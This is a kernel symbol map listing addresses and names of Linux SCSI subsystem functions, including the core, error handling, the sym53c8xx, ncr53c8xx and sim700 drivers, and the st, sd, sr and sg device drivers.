101adc50 t .L992
101add2c t .L1008
101add44 t .L1015
101add5c t .L1016
101addd8 T scsi_wait_req
101ade74 t .L1019
101adeb0 T scsi_do_req
101adeb0 t .L1021
101adfb0 T scsi_init_cmd_from_req
101ae11c T scsi_do_cmd
101ae254 T scsi_done
101ae358 T scsi_bottom_half_handler
101ae414 t .L1062
101ae43c t .L1073
101ae44c t .L1084
101ae454 t .L1085
101ae45c t .L1086
101ae474 t .L1087
101ae480 t .L1088
101ae4a0 T scsi_retry_command
101ae518 T scsi_finish_command
101ae5e8 T scsi_release_commandblocks
101ae644 T scsi_build_commandblocks
101ae7a0 t scsi_proc_info
101ae8f0 t proc_scsi_gen_write
101ae9b4 t .L1174
101ae9e4 t .L1175
101aeb7c t .L1237
101aeca4 t .L1238
101aeca4 t scsi_register_host
101aecd8 t .L1241
101aedac t .L1261
101aee54 t .L1299
101aee88 t .L1323
101aee94 t .L1338
101aee9c t .L1339
101aef48 t .L1340
101aefc0 t .L1257
101aefd4 t .L1341
101aefec t .L1342
101af00c t .L1343
101af01c t scsi_unregister_host
101af160 t .L1446
101af194 t .L1344
101af1f0 t .L1512
101af204 t .L1513
101af23c t .L1440
101af244 t .L1444
101af260 t .L1514
101af2a8 t .L1515
101af364 t .L1421
101af378 t .L1516
101af3cc t .L1517
101af4bc t .L1518
101af4f8 t scsi_register_device_module
101af674 t scsi_unregister_device
101af6e8 t .L1575
101af754 T scsi_register_module
101af754 t .L1598
101af798 t .L1599
101af7ac T scsi_unregister_module
101af7ac t .L1612
101af7ec t .L1613
101af800 t .L1626
101af800 t scsi_dump_status
101af804 T scsi_get_host_dev
101af8ac T scsi_free_host_dev
101af8fc T __scsi_release_command
101af9d4 t .L965
101af9e4 t .L1676
101af9e8 T scsi_unregister
101afb08 T scsi_register
101afe74 T scsi_register_device
101afeb4 t ioctl_probe
101aff88 t ioctl_internal_command
101b0044 t .L891
101b0094 t .L893
101b00d8 t .L894
101b00e8 T scsi_ioctl_send_command
101b03a8 T scsi_ioctl
101b0434 t .L990
101b04c4 t .L1101
101b0548 t .L1102
101b05b0 t .L1103
101b074c t .L1104
101b07ec t .L1105
101b07f0 T kernel_scsi_ioctl
101b0830 t print_opcode
101b0854 T print_command
101b08d4 T print_status
101b08fc t print_sense_internal
101b0984 t .L853
101b0a04 t .L842
101b0b00 t .L869
101b0b1c T print_sense
101b0b1c t .L870
101b0b3c T print_req_sense
101b0b5c T print_msg
101b0b9c t .L880
101b0bf8 t .L891
101b0c04 t .L892
101b0c38 T print_Scsi_Cmnd
101b0c84 T print_hostbyte
101b0cac T print_driverbyte
101b0cd4 T scsicam_bios_param
101b0e44 T scsi_partsize
101b1048 t setsize
101b1130 T generic_proc_info
101b11a8 t .L833
101b11f4 t .L834
101b11f8 t proc_scsi_read
101b122c t .L837
101b125c t .L839
101b1260 t proc_scsi_write
101b1330 T build_proc_dir_entries
101b1418 T parseInit
101b1500 T parseOpt
101b1738 T proc_print_scsidevice
101b17e0 t .L976
101b1838 t .L975
101b1890 t .L974
101b1978 t .L977
101b1988 t .L978
101b1998 t .L979
101b199c T parseFree
101b19c8 T scsi_add_timer
101b1a44 T scsi_delete_timer
101b1a6c T scsi_times_out
101b1afc t .L886
101b1b10 t .L891
101b1b28 T scsi_block_when_processing_errors
101b1bbc t .L895
101b1be8 t .L906
101b1c34 T scsi_eh_times_out
101b1c70 t .L910
101b1c74 t .L911
101b1c88 t .L913
101b1c90 T scsi_eh_done
101b1c90 t .L914
101b1cec t .L919
101b1d04 t .L923
101b1d14 T scsi_eh_action_done
101b1d64 t .L929
101b1d7c t .L933
101b1d88 T scsi_sense_valid
101b1d9c T scsi_eh_retry_command
101b1e08 T scsi_request_sense
101b1ef8 t .L941
101b1f84 t .L945
101b1f9c t scsi_request_sense
101b205c T scsi_test_unit_ready
101b214c t .L950
101b21d8 t .L954
101b21f0 T scsi_sleep_done
101b2214 t .L958
101b222c t .L960
101b2230 T scsi_sleep
101b22d4 t .L963
101b22fc T scsi_send_eh_cmnd
101b22fc t .L964
101b23e8 t .L972
101b24b8 t .L999
101b24fc T scsi_unit_is_ready
101b2564 T scsi_eh_finish_command
101b2594 T scsi_try_to_abort_command
101b25fc T scsi_try_bus_device_reset
101b2674 T scsi_try_bus_reset
101b2744 T scsi_try_host_reset
101b2804 T scsi_decide_disposition
101b28a8 t .L1057
101b2a08 t .L1130
101b2a14 T scsi_eh_completed_normally
101b2a38 t .L1131
101b2b74 t .L1175
101b2b78 T scsi_check_sense
101b2c78 T scsi_restart_operations
101b2d10 T scsi_unjam_host
101b2da0 t .L1248
101b2e0c t .L1279
101b2e80 t .L1290
101b2ea0 t .L1308
101b2ef8 t .L1350
101b30cc t .L1364
101b3130 t .L1463
101b318c t .L1464
101b3210 t .L1334
101b3294 t .L1465
101b3324 t .L1466
101b3380 t .L1467
101b3424 t .L1468
101b3468 t .L1253
101b34a0 t .L1469
101b34b8 t .L1470
101b34c4 T scsi_error_handler
101b3584 t .L1483
101b3588 t .L1486
101b35a0 t .L1488
101b35f8 t .L1499
101b3620 t .L1503
101b3644 t .L1495
101b365c t .L1504
101b3668 t .L1505
101b3670 t .L1506
101b3678 t .L1507
101b3690 T scsi_old_times_out
101b3774 t .L876
101b37e0 t .L887
101b37e0 t check_sense
101b38e4 T scsi_old_done
101b3a1c t .L937
101b3c18 t .L1089
101b3d30 t .L1090
101b3d84 t .L1038
101b3d94 t .L1091
101b3dd4 t .L1092
101b3ec0 t .L1093
101b3f14 t scsi_abort
101b40c0 t .L1141
101b40e0 t .L1142
101b4124 t .L1129
101b412c T scsi_mark_host_reset
101b4168 t scsi_mark_bus_reset
101b41b0 t scsi_reset
101b4378 t .L1211
101b43c8 t .L1275
101b4418 t .L1261
101b4430 t .L1276
101b4448 t .L1277
101b446c t .L1223
101b4514 t .L1246
101b453c t .L1278
101b4550 t .L1279
101b45f4 T update_timeout
101b4634 t .L1285
101b464c t .L1287
101b4650 T scsi_mlqueue_insert
101b474c T scsi_insert_special_cmd
101b47e0 T scsi_insert_special_req
101b4870 T scsi_init_cmd_errh
101b4934 T scsi_queue_next_request
101b4ab4 t __scsi_end_request
101b4aec t .L930
101b4bfc t .L942
101b4c3c t .L948
101b4c5c T scsi_end_request
101b4c5c t .L949
101b4c7c t scsi_release_buffers
101b4ce4 t .L959
101b4d20 T scsi_io_completion
101b4d20 t .L964
101b4da0 t .L972
101b4dc4 t .L974
101b4e14 t .L965
101b4f74 t .L1020
101b5008 t .L1021
101b5018 t .L1022
101b5028 t .L1023
101b5050 t .L1024
101b5068 T scsi_get_request_dev
101b50c0 T scsi_request_fn
101b5204 t .L1060
101b53c0 t .L1096
101b5414 T scsi_block_requests
101b5424 T scsi_unblock_requests
101b5434 T scsi_report_bus_reset
101b5464 T scsi_register_blocked_host
101b5468 T scsi_deregister_blocked_host
101b546c t dma_exhausted
101b5540 T recount_segments
101b563c t scsi_back_merge_fn_
101b56ec t scsi_back_merge_fn_c
101b57a4 t scsi_back_merge_fn_dc
101b5954 t scsi_front_merge_fn_
101b5a04 t scsi_front_merge_fn_c
101b5abc t scsi_front_merge_fn_dc
101b5c98 t scsi_merge_requests_fn_
101b5d44 t scsi_merge_requests_fn_c
101b5e34 t scsi_merge_requests_fn_dc
101b6130 t scsi_init_io_v
101b624c t scsi_init_io_vd
101b6278 t .L1533
101b638c t .L1536
101b63a0 t scsi_init_io_vc
101b6510 t scsi_init_io_vdc
101b653c t .L1641
101b66d8 t .L1644
101b66ec T initialize_merge_fn
101b6808 T scsi_malloc
101b68ec T scsi_free
101b69e4 T scsi_resize_dma_pool
101b6b20 t .L871
101b6bac t .L921
101b6c24 t .L968
101b6d38 t .L969
101b6e2c T scsi_init_minimal_dma_pool
101b6f74 t print_inquiry
101b6fd0 t .L835
101b7018 t .L842
101b7068 t .L849
101b70d0 t .L857
101b7110 t .L865
101b7120 t .L866
101b7128 t .L867
101b7130 t .L868
101b7130 t get_device_flags
101b7240 T scan_scsis
101b7430 t .L990
101b760c t .L920
101b7660 t .L1005
101b767c t .L1006
101b7680 t scan_scsis_single
101b7784 t .L1066
101b7934 t .L1014
101b7c14 t .L1089
101b7c74 t .L1090
101b7c90 t ___m_alloc
101b7d84 t ___m_alloc
101b7e78 t ___m_free
101b7f2c t ___m_free
101b7fe0 t __m_calloc2
101b8048 t .L913
101b8080 t .L916
101b8080 t __m_calloc2
101b80e8 t .L913
101b8120 t .L916
101b8120 t __m_free
101b8184 t __m_free
101b81e8 t ___mp0_getp
101b8220 t ___mp0_getp
101b8258 t ___mp0_freep
101b8288 t ___mp0_freep
101b82b8 t m_calloc
101b82ec t m_calloc
101b8320 t m_free
101b8358 t m_free
101b8390 t ___dma_getp
101b8468 t ___dma_getp
101b8540 t ___dma_freep
101b85e0 t ___dma_freep
101b8680 t ___cre_dma_pool
101b8714 t ___cre_dma_pool
101b87a8 t ___del_dma_pool
101b8800 t ___del_dma_pool
101b8858 t __m_calloc_dma
101b88c4 t .L970
101b88f0 t .L976
101b8908 t __m_calloc_dma
101b8974 t .L970
101b89a0 t .L976
101b89b8 t __m_free_dma
101b89f4 t .L986
101b8a14 t .L989
101b8a14 t __m_free_dma
101b8a50 t .L986
101b8a70 t .L989
101b8a70 t __vtobus
101b8ad8 t __vtobus
101b8b40 t __unmap_scsi_data
101b8bb0 t __unmap_scsi_data
101b8c20 t __map_scsi_single_data
101b8c74 t __map_scsi_single_data
101b8cc8 t __map_scsi_sg_data
101b8d1c t __map_scsi_sg_data
101b8d70 t __sync_scsi_data
101b8de8 t __sync_scsi_data
101b8e60 t ncr_print_hex
101b8eb8 t ncr_printl_hex
101b8f08 t PRINT_TARGET
101b8f38 t PRINT_TARGET
101b8f68 t PRINT_LUN
101b8f9c t PRINT_LUN
101b8fd0 t PRINT_ADDR
101b8ff8 t PRINT_ADDR
101b9020 t ncr_free_resources
101b9268 t ncr_prepare_nego
101b92f0 t .L1588
101b94e8 t .L1636
101b9580 t ncr_prepare_nego
101b95d0 t .L1605
101b96d8 t .L1625
101b96f4 t ncr_queue_command
101b980c t .L1744
101b9ad8 t .L1758
101b9ae8 t .L1759
101b9c34 t ncr_queue_command
101b9d44 t .L1685
101b9f7c t .L1697
101b9f8c t .L1698
101ba0d4 t ncr_start_next_ccb
101ba0f8 t .L1761
101ba18c t .L1776
101ba1ac t ncr_start_next_ccb
101ba1f0 t .L1701
101ba27c t .L1713
101ba284 t ncr_put_start_queue
101ba330 t ncr_put_start_queue
101ba3e8 t ncr_chip_reset
101ba458 t ncr_chip_reset
101ba504 t ncr_soft_reset
101ba554 t .L1794
101ba55c t .L1802
101ba584 t .L1808
101ba5ac t .L1809
101ba5b0 t ncr_start_reset
101ba5d4 t ncr_start_reset
101ba5ec t .L1721
101ba608 t .L1723
101ba608 t ncr_reset_scsi_bus
101ba884 t ncr_reset_scsi_bus
101bab3c t ncr_reset_bus
101bac38 t ncr_reset_bus
101bad34 t ncr_abort_command
101bade8 t ncr_abort_command
101baef0 t ncr_complete
101bb0ec t .L1890
101bb130 t .L1912
101bb1e0 t .L1935
101bb1fc t .L1936
101bb208 t .L1937
101bb2dc t .L1938
101bb2fc t .L1886
101bb310 t .L1887
101bb388 t .L1939
101bb3c4 t .L1940
101bb3d8 t .L1941
101bb42c t ncr_complete
101bb564 t .L1795
101bb61c t .L1808
101bb684 t .L1844
101bb718 t .L1870
101bb760 t .L1871
101bb878 t .L1872
101bb898 t .L1804
101bb8ac t .L1805
101bb924 t .L1873
101bb960 t .L1874
101bb974 t .L1875
101bb98c t .L1876
101bb99c t .L1877
101bb9d8 t ncr_wakeup_done
101bba00 t .L1945
101bba58 t .L1958
101bba8c t ncr_wakeup_done
101bbb1c t .L1889
101bbb34 t .L1894
101bbb4c t ncr_wakeup
101bbba4 t ncr_wakeup
101bbbfc t ncr_init
101bbc28 t .L1969
101bbec0 t .L2018
101bbed0 t .L2021
101bbf84 t .L2034
101bc1dc t .L2088
101bc1ec t .L2089
101bc210 t .L2090
101bc248 t .L2091
101bc248 t ncr_init
101bc2b4 t .L1912
101bc5a4 t .L1931
101bc660 t .L1946
101bc688 t .L1953
101bc6a0 t .L1954
101bc6b0 t .L1955
101bc6e8 t .L1956
101bc6e8 t ncr_negotiate
101bc744 t ncr_negotiate
101bc7a0 t ncr_getsync
101bc86c t ncr_getsync
101bc90c t ncr_get_xfer_info
101bca48 t ncr_set_sync_wide_status
101bcb28 t ncr_set_sync_wide_status
101bcbc8 t ncr_setsync
101bccd8 t .L2165
101bce4c t .L2194
101bce80 t .L2195
101bcf78 t ncr_setsync
101bd188 t .L2013
101bd1e8 t .L2023
101bd25c t ncr_setwide
101bd318 t .L2205
101bd350 t .L2216
101bd3b4 t ncr_setwide
101bd478 t .L2035
101bd4b0 t .L2044
101bd50c t ncr_setsyncwide
101bd634 t .L2236
101bd7ac t .L2265
101bd7e0 t .L2266
101bd8d8 t ncr_setup_tags
101bd920 t .L2267
101bd9f4 t .L2305
101bda04 t .L2306
101bda44 t ncr_setup_tags
101bda80 t .L2045
101bdb48 t .L2069
101bdb58 t .L2070
101bdb90 t ncr_usercmd
101bdd28 t .L2316
101bde18 t .L2390
101bde28 t ncr_usercmd
101be07c t ncr_timeout
101be0ac t .L2391
101be118 t .L2401
101be134 t .L2402
101be134 t ncr_timeout
101be164 t .L2139
101be1d8 t .L2149
101be1f0 t ncr_log_hard_error
101be43c t ncr_log_hard_error
101be670 t ncr_exception
101be80c t .L2428
101be978 t .L2486
101be9a4 t .L2487
101be9c0 t .L2488
101be9cc t .L2489
101be9dc t .L2490
101be9fc t .L2491
101bea10 t .L2492
101bea20 t .L2493
101bea54 t .L2494
101bea58 t ncr_exception
101bebc8 t .L2167
101becec t .L2212
101bed28 t .L2213
101bed3c t .L2214
101bed6c t .L2215
101bedbc t .L2216
101bedcc t .L2217
101bee00 t .L2218
101bee28 t .L2219
101bee38 t ncr_recover_scsi_int
101bef54 t .L2495
101bef70 t .L2514
101bef70 t ncr_int_sto
101befe0 t .L2521
101beff8 t .L2522
101beffc t ncr_int_sto
101bf078 t ncr_int_udc
101bf0fc t ncr_int_sbmc
101bf184 t ncr_int_sbmc
101bf21c t ncr_int_par
101bf328 t .L2533
101bf3d0 t .L2577
101bf41c t .L2578
101bf440 t .L2579
101bf460 t .L2580
101bf464 t ncr_int_par
101bf514 t .L2246
101bf58c t .L2247
101bf594 t ncr_int_ma
101bf8b8 t .L2610
101bf8c0 t .L2581
101bf974 t .L2746
101bfbf8 t .L2747
101bfc54 t .L2748
101bfc64 t .L2749
101bfcd0 t ncr_int_ma
101bfd6c t .L2260
101bfe9c t .L2248
101c0048 t .L2314
101c01ac t .L2315
101c01c8 t ncr_sir_to_redo
101c04b4 t .L2778
101c067c t .L2888
101c07a0 t ncr_sir_to_redo
101c0900 t .L2316
101c0954 t .L2339
101c0a3c t ncr_clear_tasks
101c0a94 t .L2892
101c0b20 t .L2903
101c0b20 t ncr_sir_task_recovery
101c0c64 t .L2904
101c0d98 t .L2905
101c0dcc t .L3046
101c1068 t .L2994
101c1084 t .L3047
101c10bc t .L3048
101c1130 t ncr_evaluate_dp
101c12a8 t ncr_modify_dp
101c1320 t .L3103
101c147c t .L3152
101c1488 t ncr_compute_residual
101c1548 t ncr_show_msg
101c15f8 t ncr_show_msg
101c16a8 t ncr_print_msg
101c1700 t ncr_print_msg
101c1758 t ncr_sync_nego
101c1884 t .L3215
101c18b0 t .L3234
101c191c t .L3204
101c196c t .L3251
101c19a0 t .L3252
101c19f8 t .L3225
101c1a1c t .L3253
101c1a34 t .L3254
101c1a4c t ncr_wide_nego
101c1b08 t .L3260
101c1b84 t .L3255
101c1c18 t .L3286
101c1c30 t .L3287
101c1c30 t ncr_ppr_nego
101c1dd0 t .L3306
101c1e24 t .L3331
101c1ea0 t .L3288
101c1f08 t .L3353
101c1f70 t .L3354
101c1ff0 t .L3317
101c2014 t .L3355
101c2030 t .L3356
101c2044 t .L3357
101c2084 t ncr_nego_default
101c20b8 t .L3359
101c20f4 t .L3374
101c2174 t .L3375
101c2198 t .L3376
101c21ac t .L3377
101c21ac t ncr_nego_rejected
101c21d8 t ncr_int_sir
101c2330 t .L3379
101c2368 t .L3405
101c2368 t .L3499
101c2394 t .L3500
101c23a8 t .L3501
101c2464 t .L3502
101c2474 t .L3503
101c2484 t .L3504
101c2494 t .L3505
101c24d0 t .L3506
101c250c t .L3443
101c2530 t .L3507
101c2540 t .L3508
101c2580 t .L3509
101c2664 t .L3510
101c26a8 t .L3511
101c2700 t .L3512
101c2704 t ncr_int_sir
101c2850 t .L2356
101c2888 t .L2368
101c28b4 t .L2477
101c28c4 t .L2478
101c2974 t .L2389
101c2998 t .L2479
101c29ac t .L2480
101c2aac t .L2405
101c2b6c t .L2481
101c2c6c t .L2420
101c2d38 t .L2482
101c2d58 t .L2483
101c2d88 t .L2484
101c2da0 t .L2485
101c2de0 t .L2486
101c2e00 t ncr_get_ccb
101c2ff4 t ncr_get_ccb
101c3068 t .L2490
101c31fc t .L2513
101c31fc t ncr_free_ccb
101c336c t ncr_free_ccb
101c34e0 t ncr_alloc_ccb
101c35c4 t ncr_alloc_ccb
101c36a8 t ncr_ccb_from_dsa
101c36c8 t ncr_init_tcb
101c36d4 t ncr_init_tcb
101c3834 t ncr_alloc_lcb
101c3a50 t ncr_alloc_lcb
101c3b40 t .L2550
101c3c0c t .L2558
101c3c18 t ncr_setup_lcb
101c3e78 t ncr_setup_lcb
101c40cc t ncr_scatter_no_sglist
101c4170 t ncr_scatter_896R1
101c423c t .L3700
101c4254 t .L3718
101c4258 t ncr_scatter
101c42fc t .L3721
101c4314 t .L3738
101c4318 t ncr_scatter
101c43f0 t ncr_selectclock
101c442c t .L3786
101c44bc t .L3800
101c4500 t .L3808
101c4510 t .L3809
101c4590 t ncr_selectclock
101c45c8 t .L2647
101c464c t .L2661
101c468c t .L2668
101c469c t .L2669
101c471c t device_queue_depth
101c4888 t device_queue_depth
101c49f0 t sym53c8xx_select_queue_depths
101c4a18 t .L4165
101c4ae0 t .L4182
101c4ae8 T sym53c8xx_info
101c4af4 T sym53c8xx_queue_command
101c4b98 t sym53c8xx_intr
101c4c48 t sym53c8xx_timeout
101c4cb0 T sym53c8xx_reset
101c4d88 T sym53c8xx_abort
101c4e34 t insert_into_waiting_list
101c4e68 t insert_into_waiting_list
101c4e9c t retrieve_from_waiting_list
101c4edc t retrieve_from_waiting_list
101c4f1c t process_waiting_list
101c4fb0 t process_waiting_list
101c5044 t skip_spaces
101c50a4 t skip_spaces
101c5104 t get_int_arg
101c5164 t get_int_arg
101c51c4 t is_keyword
101c5238 t is_keyword
101c52ac t ncr_user_command
101c58ec t ncr_user_command
101c5efc t copy_mem_info
101c5f78 t copy_mem_info
101c5ff4 t copy_info
101c6050 t copy_info
101c60ac t ncr_host_info
101c61a0 t ncr_host_info
101c628c t sym53c8xx_proc_info
101c62fc t .L4435
101c631c T lasi7xx_detect
101c631c t .L4450
101c635c t lasi_scsi_callback_700
101c63b0 t lasi_scsi_callback_710
101c6400 t ncr_dump
101c690c t .L905
101c6a10 t .L879
101c6a74 t .L909
101c6fb4 t .L910
101c6ff8 t param_setup
101c71d8 t sbcl_to_phase
101c7260 t ncr_halt
101c7520 t sim700_soft_reset
101c7944 t .L1029
101c7d2c t .L1053
101c7d30 t sim700_driver_init
101c8530 t handle_sdtr
101c86f8 t handle_rej
101c879c t datapath_residual
101c883c t .L1271
101c88f4 t .L1274
101c8930 t .L1272
101c8984 t .L1275
101c8988 t handle_idd
101c89f0 t .L1298
101c8bf8 t .L1302
101c8bfc t handle_phase_mismatch
101c8c90 t .L1463
101c8e10 t .L1457
101c8e34 t .L1456
101c8e98 t .L1318
101c8f04 t .L1441
101c8ff4 t .L1468
101c9048 t .L1469
101c9054 t .L1470
101c9188 t .L1461
101c91ac t .L1460
101c929c t .L1471
101c92ac t .L1472
101c9300 t .L1473
101c9318 t .L1474
101c937c t .L1313
101c93b0 t .L1475
101c93c8 t .L1476
101c93e0 t .L1477
101c93e4 t handle_script_int
101c95e0 t .L1483
101c9690 t .L1557
101c978c t do_sim700_intr_handle
101c97b0 t sim700_intr_handle
101c9ae0 t .L1599
101c9b58 t .L1602
101c9b74 t .L1603
101c9bfc t .L1609
101c9c08 t .L1635
101c9d00 t .L1708
101c9d68 t .L1582
101c9dc8 t .L1660
101c9e1c t .L1671
101c9e20 t .L1562
101c9e6c t .L1709
101c9e80 t .L1710
101c9f80 t .L1711
101c9fb8 t .L1712
101c9fe0 t .L1697
101ca064 t .L1713
101ca0d4 t .L1714
101ca138 t .L1698
101ca16c t .L1715
101ca17c t .L1716
101ca19c t .L1717
101ca1b8 t .L1718
101ca200 t .L1719
101ca22c t .L1720
101ca26c t .L1721
101ca270 t run_command
101ca74c t .L1872
101ca794 t .L1877
101ca804 t .L1900
101ca830 t .L1901
101cab3c t process_issue_queue
101cac20 T sim700_queuecommand
101cad78 t .L1942
101cad98 t .L1949
101cadb0 T sim700_init_host
101caf9c t .L1969
101cafb8 t .L1964
101cafc4 t .L1957
101cafec t .L1955
101cb04c t .L2054
101cb064 t .L2055
101cb11c t .L1975
101cb30c t .L2004
101cb364 t .L2056
101cb3d8 t .L2017
101cb440 t .L2057
101cb47c t .L2058
101cb4ac t .L2046
101cb4b8 t .L2059
101cb514 t .L2060
101cb538 t .L2061
101cb568 t .L2062
101cb578 t .L2063
101cb5c4 t .L2064
101cb5c8 T sim700_abort
101cb5fc T sim700_dev_reset
101cb630 T sim700_bus_reset
101cb660 t full_reset
101cb914 t .L2093
101cb938 t .L2097
101cb964 T sim700_host_reset
101cb994 t run_process_issue_queue
101cb9bc t .L1903
101cb9d8 T zalon7xx_detect
101cb9d8 t .L2104
101cba18 t ncr_ccb_skipped
101cbab8 t ncr_init_ccb
101cbb80 t ncr_lookup
101cbc34 t ncr53c8xx_select_queue_depths
101cbc5c t .L2719
101cbd20 T ncr53c8xx_queue_command
101cbd20 t .L2731
101cbdbc t ncr53c8xx_intr
101cbe6c t ncr53c8xx_timeout
101cbed4 T ncr53c8xx_reset
101cbfac T ncr53c8xx_abort
101cc058 t ncr53c8xx_proc_info
101cc0c0 t .L2969
101cc0e0 T zalon_attach
101cc0e0 t .L2984
101cc2a0 T ncr53c8xx_info
101cc2ac t st_incompatible
101cc370 t st_chk_result
101cc428 t .L858
101cc4bc t .L860
101cc4d4 t st_sleep_done
101cc550 t .L871
101cc568 t .L875
101cc5c8 t st_do_scsi
101cc6c4 t .L890
101cc704 t .L894
101cc74c t write_behind_check
101cc780 t .L897
101cc840 t .L903
101cc840 t cross_eof
101cc934 t flush_write_buffer
101cc9c0 t .L919
101ccadc t .L929
101ccb1c t flush_buffer
101ccb44 t .L930
101ccc28 t .L951
101ccc5c t .L952
101ccc60 t set_mode_densblk
101ccd3c t st_open
101cd0e8 t .L1027
101cd3e8 t .L1073
101cd514 t st_flush
101cd844 t st_release
101cd874 t .L1131
101cd910 t .L1142
101cd910 t st_write
101cda08 t .L1150
101cda28 t .L1235
101cda40 t .L1274
101cdabc t .L1275
101ce18c t read_tape
101ce56c t st_read
101ce668 t .L1390
101ce680 t .L1423
101ce9cc t st_log_options
101cea88 t st_set_options
101ceb70 t .L1429
101cec18 t .L1492
101cec50 t .L1493
101cec78 t .L1494
101cec90 t .L1495
101cecc8 t .L1496
101ced24 t .L1497
101ced58 t .L1498
101cee20 t read_mode_page
101ceec4 t write_mode_page
101cefb4 t st_compression
101cf070 t st_int_ioctl
101cfa3c t get_location
101cfc1c t set_location
101cfe78 t find_partition
101cfeb0 t update_partition
101cff04 t nbr_partitions
101cff5c t partition_tape
101d00c8 t st_ioctl
101d0144 t .L1761
101d01d0 t .L1768
101d01e4 t .L1854
101d01fc t .L1908
101d0648 t .L1909
101d0928 t .L1852
101d0940 t .L1910
101d094c t .L1911
101d0964 t new_tape_buffer
101d0c24 t enlarge_buffer
101d0df4 t normalize_buffer
101d0e90 t append_to_buffer
101d0ff4 t from_buffer
101d1164 t validate_options
101d1220 t st_attach
101d16e8 t st_detect
101d176c t st_init
101d1858 t st_detach
101d194c t sd_ioctl
101d1a24 t .L846
101d1aa4 t .L934
101d1b9c t .L1070
101d1bec t .L852
101d1cf0 t .L1071
101d1d04 t .L1072
101d1d38 t .L1073
101d1e0c t sd_devname
101d1e3c t .L1076
101d1e80 t .L1077
101d1e80 t sd_find_queue
101d1eb8 t sd_init_command
101d1f18 t .L1082
101d20cc t .L1121
101d2128 t sd_open
101d2350 t sd_release
101d239c t .L1151
101d2450 t .L1159
101d2450 t rw_intr
101d25e0 t rw_intr
101d2728 t check_scsidisk_media_change
101d2838 t sd_init_onedisk
101d299c t .L1198
101d29d8 t .L1215
101d2ad4 t .L1224
101d2be0 t .L1245
101d2cac t .L1269
101d2cd4 t .L1270
101d2d50 t .L1227
101d2f1c t .L1271
101d2f2c t .L1272
101d2f40 t .L1207
101d2f80 t .L1273
101d3004 t .L1274
101d3054 t sd_init
101d366c t sd_finish
101d3900 t sd_detect
101d39b8 t sd_attach
101d3b1c T revalidate_scsidisk
101d3d28 t fop_revalidate_scsidisk
101d3d48 t sd_detach
101d3f30 t sr_release
101d406c t sr_media_change
101d4188 t sr_find_queue
101d41c4 t sr_scatter_pad
101d43f4 t sr_init_command
101d44d4 t .L895
101d46c0 t .L928
101d46d0 t sr_open
101d4844 t sr_detect
101d48b0 t sr_attach
101d497c T get_sectorsize
101d4a40 t .L956
101d4b70 t .L979
101d4ccc T get_capabilities
101d4f6c t .L980
101d50d0 t .L1017
101d50d4 t sr_packet
101d514c t sr_init
101d5390 t sr_finish
101d5428 t .L1046
101d55f8 t .L1058
101d5604 t sr_detach
101d56f8 t sr_fake_playtrkind
101d5740 t .L828
101d581c t .L836
101d5828 T sr_do_ioctl
101d58b8 t .L840
101d59f4 t .L846
101d5a00 t .L871
101d5a1c t .L872
101d5a4c t .L873
101d5a54 t .L850
101d5a6c t .L874
101d5a7c t .L875
101d5a84 t .L855
101d5ab0 t .L876
101d5ab0 t test_unit_ready
101d5b24 T sr_tray_move
101d5bb0 T sr_lock_door
101d5c04 T sr_drive_status
101d5c40 T sr_disk_status
101d5d44 T sr_get_last_session
101d5da8 T sr_get_mcn
101d5e74 T sr_reset
101d5e98 T sr_select_speed
101d5f58 T sr_audio_ioctl
101d5fb0 t .L922
101d6048 t .L936
101d61cc T sr_read_cd
101d62b4 T sr_read_sector
101d6330 t .L946
101d641c T sr_is_xa
101d641c t .L953
101d64c0 T sr_dev_ioctl
101d6558 t .L960
101d6580 T sr_vendor_init
101d6580 t .L984
101d65a0 T sr_set_blocklength
101d66d4 T sr_cd_check
101d67b8 t .L836
101d6900 t .L850
101d6938 t sg_open
101d6a5c t .L847
101d6b2c t .L893
101d6b84 t .L866
101d6bc4 t .L894
101d6be8 t sg_release
101d6cb4 t sg_read
101d6fbc t .L921
101d7014 t .L989
101d7040 t sg_new_read
101d713c t sg_write
101d7230 t .L1008
101d7374 t .L1057
101d7398 t sg_new_write
101d74f4 t sg_common_write
101d76c0 t sg_ioctl
101d7770 t .L1093
101d77bc t .L1804
101d77e4 t .L1790
101d7840 t .L1805
101d7908 t .L1806
101d7994 t .L1807
101d7f64 t .L1661
101d7fcc t .L1808
101d7fe0 t .L1809
101d80d0 t .L1106
101d8170 t .L1810
101d8214 t sg_poll
101d82ec t sg_fasync
101d832c t sg_cmd_done_bh
101d84f0 t .L1838
101d8584 t .L1873
101d8588 t sg_detect
101d8654 t sg_init
101d868c t .L1896
101d8708 t .L1910
101d8764 t sg_attach
101d8950 t sg_finish
101d8954 t sg_detach
101d8a98 t sg_shorten_timeout
101d8ab4 t sg_start_req
101d8b78 t .L1996
101d8ba0 t .L2004
101d8bd0 t sg_finish_rem_req
101d8c10 t .L2007
101d8c38 t .L2008
101d8c38 t sg_build_sgat
101d8cdc t sg_unmap_and
101d8ce0 t sg_build_dir
101d8ce8 t sg_build_indi
101d8efc t sg_write_xfer
101d8f90 t .L2045
101d9150 t .L2092
101d91ec t sg_u_iovec
101d9270 t sg_get_sgat_msa
101d9298 t sg_remove_scat
101d9330 t .L2112
101d9374 t .L2115
101d9374 t sg_read_xfer
101d9404 t .L2121
101d95c4 t .L2169
101d965c t sg_read_oxfer
101d9694 t .L2170
101d9714 t .L2187
101d9728 t .L2188
101d9728 t sg_build_reserve
101d97a4 t sg_link_reserve
101d9864 t sg_unlink_reserve
101d98b0 t sg_get_rq_mark
101d98ec t sg_get_nth_request
101d9924 t sg_add_request
101d9a14 t sg_remove_request
101d9a94 t sg_get_nth_sfp
101d9acc t sg_add_sfp
101d9bc0 t sg_remove_sfp
101d9ca8 t .L2325
101d9d0c t .L2344
101d9d20 t sg_res_in_use
101d9d64 t sg_dio_in_use
101d9dbc t sg_low_malloc
101d9fac t sg_malloc
101da05c t .L2435
101da0a4 t .L2420
101da10c t .L2436
101da10c t sg_low_free
101da17c t .L2437
101da1ac t .L2459
101da1b4 t .L2460
101da1cc t .L2461
101da1cc t sg_free
101da1ec t .L2464
101da200 t .L2466
101da200 t sg_clr_srpnt
101da21c t sg_ms_to_jif
101da260 t sg_jif_to_ms
101da2b8 t sg_allow_access
101da2f8 t sg_last_dev
101da354 t sg_get_dev
101da39c t sg_proc_init
101da490 t sg_proc_cleanup
101da51c t sg_proc_dressz_read
101da5c0 t sg_proc_dressz_info
101da644 t sg_proc_dressz_write
101da6f8 t sg_proc_debug_read
101da79c t sg_proc_debug_info
101dabdc t .L2654
101dace4 t .L2659
101dae4c t sg_proc_dev_read
101daef0 t sg_proc_dev_info
101dafa8 t .L2678
101db018 t .L2679
101db01c t sg_proc_devhdr_read
101db0c0 t sg_proc_devhdr_info
